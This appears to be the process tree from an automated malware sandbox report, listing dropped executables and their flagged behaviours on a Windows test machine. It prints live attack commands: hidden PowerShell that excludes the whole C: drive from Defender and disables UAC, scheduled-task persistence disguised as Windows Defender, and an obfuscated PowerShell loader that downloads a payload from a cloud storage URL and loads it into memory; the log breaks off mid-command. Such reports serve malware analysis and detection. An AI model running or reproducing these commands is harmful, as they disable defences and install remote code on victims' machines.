C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\'}"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0"5⤵
- UAC bypass
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"5⤵
- UAC bypass
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe7.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\x.exex.exe4⤵
- Downloads MZ/PE file
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1_240624671.exe"C:\Users\Admin\AppData\Local\Temp\1_240624671.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\2_240647218.exe"C:\Users\Admin\AppData\Local\Temp\2_240647218.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3_240668093.exe"C:\Users\Admin\AppData\Local\Temp\3_240668093.exe"5⤵
- Badlisted process makes network request
-
-
C:\Users\Admin\AppData\Local\Temp\4_240685796.exe"C:\Users\Admin\AppData\Local\Temp\4_240685796.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_240715062.exe"C:\Users\Admin\AppData\Local\Temp\5_240715062.exe"5⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\6_240730375.exe"C:\Users\Admin\AppData\Local\Temp\6_240730375.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-AMGA8RGZ0B.tmp\6_240730375.tmp"C:\Users\Admin\AppData\Local\Temp\is-AMGA8RGZ0B.tmp\6_240730375.tmp" /SL5="$603E0,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240730375.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_240749890.exe"C:\Users\Admin\AppData\Local\Temp\7_240749890.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\f3d5a80d27c049f2ba17d69b09c13bd5_build.exef3d5a80d27c049f2ba17d69b09c13bd5_build.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\5.exe5.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\a\5.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingAgent" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe\"" /sc onlogon /f /rl highest /delay 0001:305⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingService" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe\" /boot" /sc onlogon /f /rl highest /delay 0001:305⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingAgent"5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingService"5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "400" "2036" "1928" "1920" "0" "0" "2040" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kn.exekn.exe4⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe2.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\o7Hjuu7.exeo7Hjuu7.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\fabric-installer-1.1.0.exefabric-installer-1.1.0.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaw.exe"javaw.exe" "-version"5⤵
-
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaw.exe"javaw.exe" "-jar" "C:\Users\Admin\AppData\Local\Temp\a\fabric-installer-1.1.0.exe" "-fabricInstallerBootstrap" "true"5⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Crypted.exeCrypted.exe4⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe4.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe3.exe4⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5044" "2072" "2060" "2064" "0" "0" "2076" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\clean.execlean.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4300" "2012" "1696" "2040" "0" "0" "2016" "0" "0" "0" "0" "0"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3448" "1952" "804" "1940" "0" "0" "1932" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"5⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LosslessCut.exeLosslessCut.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\cheat.execheat.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Encrypted_Script.ps14⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2396" "2020" "1904" "2004" "0" "0" "2024" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe andre.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$andre.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Users$Admin$AppData$Local$Temp$a$andre.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps17⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\temp.exetemp.exe4⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\a\WN0HSu2.exeWN0HSu2.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --log-level=35⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7372240714390 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7372240714390\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7372240714390 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x274,0x278,0x27c,0x250,0x280,0x7ffd4179dcf8,0x7ffd4179dd04,0x7ffd4179dd106⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Q2Rb9HA.exeQ2Rb9HA.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Users$Admin$AppData$Local$Temp$a$sostener.vbs');powershell $lvFxTsk;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 